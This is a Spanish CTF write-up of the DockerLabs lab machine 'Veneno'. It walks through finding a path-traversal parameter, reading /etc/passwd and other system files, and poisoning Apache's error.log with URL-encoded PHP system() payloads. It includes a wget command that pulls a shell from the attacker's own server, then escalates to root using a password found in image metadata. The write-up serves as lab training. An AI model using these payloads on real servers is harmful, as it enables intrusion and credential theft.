> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/medio/veneno.md).

# Veneno

## Maquina

<figure><img src="/files/sIsWC1i8ODDPzpD8vu5S" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oN nmap.txt
```

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 89:9c:7b:99:95:b6:e8:03:5a:6a:d4:69:69:4a:8d:35 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMgfdYjycUeAaf2h3TC7i2eq1vTL2w6CuzH1p7pPePuTOtxY8hN2yBSgiqt+aETjLgYcd/l4G2reS8B4DYghEoo=
|   256 ec:ec:90:44:4e:66:64:22:f6:8b:cd:29:d2:b5:60:6a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZ46ZK24dZ+GQtto1umfU8o0eKfVZaXudRe1+D2o4WL
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Gobuster

{% code overflow="wrap" %}

```bash
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash | tee gobusterExt.txt
```

{% endcode %}

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              gif,rar,rb,ico,log,php,txt,zip,pdf,config,conf,sh,bash,js,gz,css,png,html,tar,xml,json,svg,py,jpg,jpeg,sql,ini,backup
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 10671]
/uploads              (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
/problems.php         (Status: 200) [Size: 10671]
```

### Wfuzz

{% code overflow="wrap" %}

```bash
wfuzz -w /usr/share/wordlists/rockyou.txt -u http://172.17.0.2/problems.php\?FUZZ=../../../../../../../etc/passwd --hc 404 --hl 363
```

{% endcode %}

```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.17.0.2/problems.php?FUZZ=../../../../../../../etc/passwd
Total requests: 14344392

=====================================================================
ID           Response   Lines    Word       Chars       Payload      
=====================================================================

000054094:   200        25 L     32 W       1245 Ch     "backdoor" 
```

<figure><img src="/files/fjBnWGJzY08etRLjiSnx" alt=""><figcaption></figcaption></figure>

```
carlos:x:1001:1001:,,,:/home/carlos:/bin/bash 
```

Con este usuario no podemos hacer nada, así que tras un rato de probar cosas decido hacer fuzzing en busca de rutas

{% code overflow="wrap" %}

```bash
wfuzz -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://172.17.0.2/problems.php\?backdoor=../../../../../../../FUZZ --hc 404 --hl 0
```

{% endcode %}

```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://172.17.0.2/problems.php?backdoor=../../../../../../../FUZZ
Total requests: 929

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000016:   200        25 L     32 W       1245 Ch     "/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"                                         
000000023:   200        25 L     32 W       1245 Ch     "..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd"                                                                                    
000000020:   200        25 L     32 W       1245 Ch     "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"                                                       
000000121:   200        225 L    1107 W     7178 Ch     "/etc/apache2/apache2.conf"                                                                                                 
000000138:   200        47 L     47 W       663 Ch      "/etc/group"                                                                                                                
000000129:   200        4 L      36 W       270 Ch      "/etc/apt/sources.list"                                                                                                     
000000135:   200        1 L      6 W        37 Ch       "/etc/fstab"                                                                                                                
000000209:   200        17 L     111 W      711 Ch      "/etc/hosts.deny"                                                                                                           
000000208:   200        10 L     57 W       411 Ch      "/etc/hosts.allow"                                                                                                          
000000206:   200        7 L      16 W       174 Ch      "../../../../../../../../../../../../etc/hosts"                                                                             
000000205:   200        7 L      16 W       174 Ch      "/etc/hosts"                                                                                                                
000000237:   200        2 L      5 W        24 Ch       "/etc/issue"                                                                                                                
000000236:   200        353 L    1042 W     8139 Ch     "/etc/init.d/apache2"                                                                                                       
000000250:   200        20 L     65 W       526 Ch      "/etc/nsswitch.conf"                                                                                                        
000000257:   200        25 L     32 W       1245 Ch     "/etc/passwd"                                                                                                               
000000253:   200        25 L     32 W       1245 Ch     "/./././././././././././etc/passwd"                                                                                         
000000265:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../../../../../etc/passwd"                                                                   
000000270:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../etc/passwd"                                                                                  
000000272:   200        25 L     32 W       1245 Ch     "../../../../../../../../etc/passwd"                                                                                        
000000269:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../etc/passwd"                                                                               
000000271:   200        25 L     32 W       1245 Ch     "../../../../../../../../../etc/passwd"                                                                                     
000000268:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../../etc/passwd"                                                                            
000000267:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../../../etc/passwd"                                                                         
000000266:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../../../../etc/passwd"                                                                      
000000264:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../../../../../../etc/passwd"                                                                
000000263:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../../../../../../../etc/passwd"                                                             
000000262:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../../../../../../../../etc/passwd"                                                          
000000259:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../../../../../../../../../../../etc/passwd"                                                 
000000258:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../../../../../../../../../../../../etc/passwd"                                              
000000260:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../../../../../../../../../../etc/passwd"                                                    
000000261:   200        25 L     32 W       1245 Ch     "../../../../../../../../../../../../../../../../../../../etc/passwd"                                                       
000000254:   200        25 L     32 W       1245 Ch     "/../../../../../../../../../../etc/passwd"                                                                                 
000000275:   200        25 L     32 W       1245 Ch     "../../../../../etc/passwd"                                                                                                 
000000273:   200        25 L     32 W       1245 Ch     "../../../../../../../etc/passwd"                                                                                           
000000279:   200        25 L     32 W       1245 Ch     "../etc/passwd"                                                                                                             
000000283:   200        25 L     32 W       1245 Ch     "etc/passwd"                                                                                                                
000000278:   200        25 L     32 W       1245 Ch     "../../etc/passwd"                                                                                                          
000000277:   200        25 L     32 W       1245 Ch     "../../../etc/passwd"                                                                                                       
000000276:   200        25 L     32 W       1245 Ch     "../../../../etc/passwd"                                                                                                    
000000274:   200        25 L     32 W       1245 Ch     "../../../../../../etc/passwd"                                                                                              
000000311:   200        25 L     32 W       1245 Ch     "../../../../../../etc/passwd&=%3C%3C%3C%3C"                                                                                
000000399:   200        3 L      8 W        78 Ch       "/etc/resolv.conf"                                                                                                          
000000400:   200        41 L     120 W      911 Ch      "/etc/rpc"                                                                                                                  
000000422:   200        122 L    387 W      3255 Ch     "/etc/ssh/sshd_config"                                                                                                      
000000504:   200        3 L      33 W       384 Ch      "/proc/net/route"                                                                                                           
000000502:   200        2 L      15 W       156 Ch      "/proc/net/arp"                                                                                                             
000000497:   200        56 L     468 W      2888 Ch     "/proc/cpuinfo"                                                                                                             
000000503:   200        4 L      54 W       446 Ch      "/proc/net/dev"                                                                                                             
000000501:   200        22 L     132 W      1845 Ch     "/proc/mounts"                                                                                                              
000000498:   200        49 L     288 W      3121 Ch     "/proc/interrupts"                                                                                                          
000000505:   200        14 L     213 W      2100 Ch     "/proc/net/tcp"                                                                                                             
000000499:   200        1 L      5 W        24 Ch       "/proc/loadavg"                                                                                                             
000000500:   200        55 L     161 W      1531 Ch     "/proc/meminfo"                                                                                                             
000000510:   200        1 L      21 W       190 Ch      "/proc/version"                                                                                                             
000000506:   200        6 L      20 W       166 Ch      "/proc/partitions"                                                                                                          
000000509:   200        59 L     143 W      1417 Ch     "/proc/self/status"                                                                                                         
000000654:   200        1178 L   29774 W    296177 Ch   "../../../../../../../var/log/apache2/error.log"                                                                            
000000652:   200        1180 L   29825 W    296716 Ch   "/var/log/apache2/error.log"                                                                                                
000000929:   200        25 L     32 W       1245 Ch     "///////../../../etc/passwd" 
```

Nos saca muchas rutas, la que nos interesa seria: `/var/log/apache2/error.log`, ya que nos permite realizar un ataque de Log Poisoning (la maquina se llama Veneno -> Poison)

## Explotación

### Log poisoning

Para hacer un log poisoning en /var/log/apache2/error.log hay que generar un error con el comando que queremos ejecutar.

Esto es lo que he usado de referencia para este ataque: [Apache error.log advanced Log poisoning RCE](https://medium.com/@rafamauricio0712/log-poisoning-rce-with-apache-error-log-file-5d465568b714)

La petición http que haremos seria así:

```
http://172.17.0.2/<?php system(‘id’) ?>.php
```

Pero tenemos que codificarla (URL encoding)

```
http://172.17.0.2/%3C%3fphp%20system('id');%20%3f%3E.php
```

{% code overflow="wrap" %}

```
[Thu Aug 29 06:43:54.324767 2024] [php:error] [pid 31] [client 172.17.0.1:60206] script '/var/www/html/uid=33(www-data) gid=33(www-data) groups=33(www-data) .php' not found or unable to stat
```

{% endcode %}

***

Sabiendo que podemos ejecutar comandos, podemos subir una shell al fichero `/uploads`

{% hint style="danger" %}
He intentado subir de distintas maneras una reverse shell pero no he sido capaz, dejo aquí uno de mis mejores intento xD
{% endhint %}

1º Abrimos un server en nuestra maquina&#x20;

```
python3 -m http.server 2323
```

2º Cogemos la shell y la pasamos al fichero `/uploads`

{% code overflow="wrap" %}

```
http://172.17.0.2/%3C%3fphp%20system('cd%20uploads;wget%20192.168.1.59:2323;');%20%3f%3E.php
```

{% endcode %}

3º Ejecutamos la shell.php

<figure><img src="/files/5xF0rd31iQxPMU5cfbaM" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Buscamos una alternativa, para poder acceder y seguir con la maquina, ya que no se me ocurre porque no funcionan las reverse shells que he subido.
{% endhint %}

***

Mediante la ejecución de comandos simple en la url y mucho, mucho tiempo sacamos lo que parece ser una contraseña:

URL Final utilizada para leer el archivo `inhackeable_pass.txt`&#x20;

{% code overflow="wrap" %}

```
http://172.17.0.2/%3C%3fphp%20system('cd%20..;cd%20..;cd%20..;cd%20usr;cd%20share;cd%20viejuno;cat%20inhackeable_pass.txt');%20%3f%3E.php
```

{% endcode %}

Output en el fichero `error.log`

{% code overflow="wrap" %}

```
[Fri Aug 30 04:17:08.765835 2024] [php:error] [pid 33] [client 172.17.0.1:41630] script '/var/www/html/pinguinochocolatero .php' not found or unable to stat 
```

{% endcode %}

Si probamos a usar esta contraseña en *el único usuario que hay* ya tendremos acceso por ssh al usuario `carlos`, de manera que ya puedo dejar de buscar por la URL jajajajajajajaja...

<figure><img src="/files/4ZO7Zg8W3Js37TGJg4jl" alt=""><figcaption></figcaption></figure>

## Escalado de privilegios

Miramos los permisos de este usuario

<figure><img src="/files/UfYmFjFjEBWhEyiw4TMg" alt=""><figcaption><p>Nada relevante</p></figcaption></figure>

Miramos que hay, muchos directorios....

<figure><img src="/files/gPjqgYt4I4TJC6a2e0Bc" alt=""><figcaption><p>100 carpetas</p></figcaption></figure>

Buscamos entre los ficheros

```bash
find
```

Encontramos una imagen

<figure><img src="/files/2WtBRtYcOgV1pd9wXSZN" alt=""><figcaption></figcaption></figure>

No pasamos la imagen a nuestro equipo para poder verla

<figure><img src="/files/ONG0d3QuNKuuqK4DmXjT" alt=""><figcaption><p>Una imagen muy chula</p></figcaption></figure>

Miremos los metadatos ya que la imagen en si no nos dice nada

<figure><img src="/files/tnBE1hehEAQF9a73xxnf" alt=""><figcaption></figcaption></figure>

Lo único que me llama la atención de estos datos es que `Image Quality : pingui1730`, si probamos esto como **contraseña de root** funciona y ya seriamos root

<figure><img src="/files/ExWiJDcx8EU10hd0GkkF" alt=""><figcaption></figcaption></figure>

## Conclusión

Una maquina muy interesante, la única pega que le saco yo es la parte de la shell, he sido incapaz de subir o ejecutar por comandos en la URL una reverse shell, esto me ha supuesto tener que buscar otra forma menos practica y muchísimo más larga para poder continuar con la maquina.

Aun así me parece una maquina muy buena, posiblemente la shell sea por culpa mía o por un bug, ya que he visto otros Write ups y casi todos eran con el log access.log, por lo que no se que ha podido pasa.
